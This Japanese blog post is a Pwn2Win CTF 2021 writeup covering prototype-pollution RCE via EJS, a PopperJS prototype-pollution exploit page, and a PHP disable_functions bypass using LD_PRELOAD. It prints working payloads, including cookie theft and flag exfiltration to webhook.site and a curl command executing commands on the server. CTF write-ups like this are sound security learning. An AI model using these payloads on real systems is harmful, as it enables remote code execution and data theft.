st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Pwn2Win CTF 2021 writeup

5/29 - 5/31という日程で開催された。uuunderflowで参加して2位。

[Web] Illusion

サーバサイドのPrototype Pollution + EJSのgadgetでRCE。

$ curl --basic -u admin:isummlngdhhvwyge "http://illusion.pwn2win.party:28315/change_status" -H "Content-Type: application/json" -d '{"constructor/prototype/outputFunctionName":"x;return process.mainModule.require(`child_process`).execSync(`/readflag`);x"}'
{"status":"online","cameras":"online","doors":"online","dome":"online","turrets":"online"}
$ curl --basic -u admin:isummlngdhhvwyge "http://illusion.pwn2win.party:28315"
CTF-BR{d0nt_miX_pr0totyPe_pol1ution_w1th_a_t3mplat3_3ng1nE!}

Prototype Pollution周りで便利な記事など:

[Web] HackUs

CodiMD 2.4.1の0day問。Mermaid 8.6.4が使われているのでPrototype Pollutionができ、ほかのライブラリ(例えばjQuery)のgadgetを使えばJavaScriptコードの実行に持ち込める。ただし、CSPが厳しいので過去問のwriteupを参考にGoogle Tag Managerを使ってバイパスする。

[Web] Small Talk

shvlのPrototype Pollution + s1r1usさんとPOSIXさんが見つけたPopperJSのgadgetでなんとかした。

<body>
  <style>
  iframe {
    width: 300px;
    height: 200px;
  }
  </style>
  <img src="http://httpstat.us/200?sleep=100000">
  <img src="https://webhook.site/...?start">
  <script>
  let f = false;

  function go(url) {
    const iframe = document.createElement('iframe');
    iframe.src = url;
    iframe.onload = () => {
      if (!f) {
        navigator.sendBeacon('https://webhook.site/...','check');
        f = true;
      }
      iframe.contentWindow.postMessage(JSON.stringify({
        'a.__proto__.arrow': {
          "onfocus": "navigator.sendBeacon('https://webhook.site/...',document.cookie)",
          "style": "position:fixed;z-index:9;left:0;top:0;width:100px !important;height:100px !important;background:red",
          "contenteditable": true,
          "id": "hoge",
          "class": "fuga"
        },
        b: 123
      }), '*');

      setTimeout(() => {
        iframe.onload = () => {};
        iframe.src += '#hoge';
      }, 10);
    };
    document.body.appendChild(iframe);
  }
  for (let i = 0; i < 10; i++) {
    go('https://small-talk.coach:1337');
  }
  </script>
</body>

[Pwn] C'mon See my Vulns

PHP向けのオリジナルのライブラリにある脆弱性を探す問題のはずが、disable_functions がゆるゆるだったために既知のバイパステクでOSコマンドの実行に持ち込めてしまった。まず適当な共有ライブラリを作る。

// gcc -shared a.c -o a.so
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
    unsetenv("LD_PRELOAD");
    system("/opt/readflag | curl https://webhook.site/... --data-binary @-");
    return 1;
}

putenv('LD_PRELOAD=...') + mail で差し替えた getuid が呼ばれる。

{{file_put_contents('poyoyon.so',file_get_contents('http://.../a.so'))}}
{{putenv('LD_PRELOAD=./poyoyon.so')&&mail('','','')}}

disable_functions バイパス周りで便利な記事など:

open_basedir バイパス周りで便利な記事など: